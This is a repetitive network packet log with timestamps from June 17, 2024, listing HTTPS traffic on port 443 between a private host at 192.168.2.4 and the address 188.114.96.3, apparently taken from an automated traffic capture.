Jun 17, 2024 16:18:42.727776051 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.727796078 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.727817059 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.727837086 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.727864027 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.727869034 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.727900028 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.728535891 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.728555918 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.728585958 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.728591919 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.728607893 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.728626013 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.728708982 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.728729010 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.728749037 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.728754997 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.728782892 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.728797913 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.728825092 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.728846073 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.728851080 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.728868961 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.728888035 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.728909969 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.728939056 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.728960037 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.728965044 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.728986025 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.729003906 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.729856968 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.729877949 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.729922056 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.729928017 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.729960918 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.729981899 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.730001926 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.730024099 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.730029106 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.730051041 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.730067968 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.730127096 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.730148077 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.730169058 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.730174065 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.730200052 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.731456041 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.731478930 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.731523991 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.731532097 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.731545925 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.731568098 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.731597900 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.731616974 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.731642962 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.731647968 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.731674910 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.731688023 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.731697083 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.731712103 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.731714010 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.731735945 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.731740952 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.731769085 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.731796980 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.731832027 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.731849909 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.731878996 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.731884003 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.731914997 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.732640028 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.732659101 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.732702971 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.732711077 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.732742071 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.732755899 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.732803106 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.732831001 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.732836962 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.732856035 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.732877970 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.732887030 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.732907057 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.732933044 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.732939005 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.732964993 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.732969046 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.732978106 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.733000040 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.733015060 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.733021975 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.733042955 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.733061075 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.735038042 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.735058069 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.735090971 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.735097885 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.735122919 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.735165119 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.735184908 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.735218048 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.735224962 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.735250950 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.735357046 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.735375881 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.735413074 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.735419035 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.735443115 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.736598015 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.736618996 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.736659050 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.736675024 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.736682892 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.736687899 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.736711979 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.736726046 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.736745119 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.736761093 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.736776114 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.736783028 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.736793041 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.736821890 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.736829996 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.736846924 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.736850977 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.736881971 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.736953020 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.736974001 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.737000942 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.737005949 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.737029076 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.737046957 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.739773035 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.739793062 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.739885092 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.739909887 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.739917994 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.739954948 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.739958048 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.739981890 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.739988089 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.740000010 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.740027905 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.740108967 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.740130901 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.740155935 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.740161896 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.740178108 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.740997076 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.741015911 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.741059065 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.741066933 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.741086006 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.741132021 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.741156101 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.741177082 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.741183996 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.741197109 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.741290092 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.741307974 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.741363049 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.741385937 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.741564035 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.741573095 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.741600037 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.768840075 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.768862009 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.768995047 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.769011974 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.769078970 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.784590960 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.784610987 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.784653902 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.784667015 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.784677982 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.784696102 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.801995039 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.802023888 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.802093983 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.802103996 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.802136898 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.816509962 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.816530943 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.816584110 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.816591978 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.816625118 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.832125902 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.832149029 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.832228899 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.832237959 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.832271099 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.851142883 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.851166010 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.851208925 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.851217985 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.851238012 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.851257086 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.865567923 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.865593910 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.865638018 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.865647078 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.865678072 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.881973982 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.882003069 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.882029057 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.882036924 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.882059097 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.882076979 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.896429062 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.896456957 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.896492004 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.896501064 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.896514893 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.896533012 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.911129951 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.911151886 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.911211014 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.911218882 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.911253929 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.932568073 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.932590008 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.932626009 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.932636023 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.932657003 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.932673931 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.951670885 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.951690912 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.951762915 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.951771975 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.951807022 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.956655979 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.956679106 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.956736088 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.956743002 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.956753969 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.956774950 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.956784010 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.956798077 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.956809044 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.956847906 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.956868887 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.956887007 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.956933022 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.956938982 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.956969976 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.957118988 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.957139969 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.957165003 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.957170010 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.957185984 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.957195997 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.957204103 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.957210064 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.957226992 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.957242966 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.957251072 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.957276106 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.957290888 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.957294941 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.957304001 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.957325935 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.957339048 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.957345963 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.957369089 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.957389116 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.957931995 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.957952023 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.957999945 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.958007097 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.958018064 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.958040953 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.958041906 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.958054066 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.958070040 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.958102942 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.958112001 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.958131075 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.958156109 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.958161116 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.958179951 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.958198071 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.958297968 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.958317995 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.958348989 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.958354950 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.958374977 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.958393097 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.959491014 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.959512949 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.959547043 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.959554911 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.959578037 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.959595919 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.959624052 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.959645987 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.959671974 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.959678888 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.959703922 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.959718943 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.959743023 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.959762096 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.959791899 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.959800005 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.959820986 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.959830046 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.959852934 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.959856033 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.959867954 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.959892035 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.959919930 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.960777998 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.960797071 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.960840940 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.960848093 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.960863113 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.960877895 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.960906029 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.960926056 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.960957050 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.960963011 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.960985899 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.961003065 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.961093903 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.961113930 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.961160898 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.961168051 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.961178064 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.961211920 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.968060017 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.968110085 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.968168020 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.968175888 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.968194008 CEST	443	49731	188.114.96.3	192.168.2.4
